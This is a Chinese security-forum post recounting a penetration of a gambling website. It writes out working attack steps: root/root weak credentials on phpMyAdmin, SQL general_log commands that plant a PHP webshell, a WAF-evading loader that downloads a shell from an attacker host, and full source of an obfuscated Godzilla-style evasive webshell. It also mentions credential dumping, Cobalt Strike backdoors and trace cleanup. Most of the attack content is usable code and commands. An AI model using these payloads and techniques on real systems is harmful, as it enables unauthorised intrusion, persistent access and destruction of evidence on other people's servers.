安全矩阵

 找回密码
 立即注册
搜索
查看: 2230|回复: 0

【渗透实战系列】|waf绕过拿下赌博网站

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-13 14:10:51 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-7-13 14:12 编辑

原文链接:【渗透实战系列】|waf绕过拿下赌博网站

涉及知识点
  1. 信息搜集
  2. 弱口令
  3. phpmyadmin拿shell
  4. 绕过waf,哥斯拉的免杀shell
  5. 抓密码
  6. 远程连接
  7. cobalt strike留后门
  8. 痕迹清理
复制代码


确定目标

收集信息x.x.x.x
首先常规测试方法一顿怼,目录扫描,端口扫描,js文件,中间件,指纹识别,反正该上的都上。。。。
随手加个路径,报错了,当看到这个界面我瞬间就有思路了

为什么这么说呢,因为之前我就碰见过这样的网站报错, 这是一个php集成环境,叫upupw,跟phpstudy是一样的
upupw --> pmd phpstudy --> phpmyadmin
突破点这个集成环境包也有个phpinfo的页面,跟数据库管理界面
u.php

测试一下弱口令
root/root

连接成功后就可以看到phpinfo的页面

好了现在问题变成phpmyadmin拿shell

getshell三步拿shell
set global general_log='on';SET global general_log_file='D:/xxxx/WWW/cmd.php';SELECT '<?php assert($_POST["cmd"]);?>';
当执行第三步的时候页面 卡在执行中。。。没有反应 瞬间感觉不对,可能存在waf
换了个免杀马试试,先写到txt里边看看成否成功

没有任何问题,下面直接写入php文件

可以写入,直接去连接shell

果然有waf,当时写入的时候就感觉到了,不免杀的shell,sql语句执行不了
绕过waf怼了半天都不知道是什么鬼waf,用下载文件试试
为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php
SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'

访问11.php 就会生成shell.php
这里的shell也是用了哥斯拉的免杀shell
  1. <?php
  2.     session_start();
  3.     @set_time_limit(0);
  4.     @error_reporting(0);
  5.     function E($D,$K){
  6.         for($i=0;$i<strlen($D);$i++) {
  7.             $D[$i] = $D[$i]^$K[$i+1&15];
  8.         }
  9.         return $D;
  10.     }
  11.     function Q($D){
  12.         return base64_encode($D);
  13.     }
  14.     function O($D){
  15.         return base64_decode($D);
  16.     }
  17.     $P='pass';
  18.     $V='payload';
  19.     $T='3c6e0b8a9c15224a';
  20.     if (isset($_POST[$P])){
  21.         $F=O(E(O($_POST[$P]),$T));
  22.         if (isset($_SESSION[$V])){
  23.             $L=$_SESSION[$V];
  24.             $A=explode('|',$L);
  25.             class C{public function nvoke($p) {eval($p."");}}
  26.             $R=new C();
  27.             $R->nvoke($A[0]);
  28.             echo substr(md5($P.$T),0,16);
  29.             echo Q(E(@run($F),$T));
  30.             echo substr(md5($P.$T),16);
  31.         }else{
  32.             $_SESSION[$V]=$F;
  33.         }
  34.     }
复制代码


尝试了这么多次


进程里没有waf进程
权限是system

脱源码上传抓密码工具,直接获取管理密码,登上服务器


留后门,清理痕迹多留几个后门,万一被删


这个网段还有这么多机器

源码打开源码才发现waf是360webscan





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 11:57 , Processed in 0.013246 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表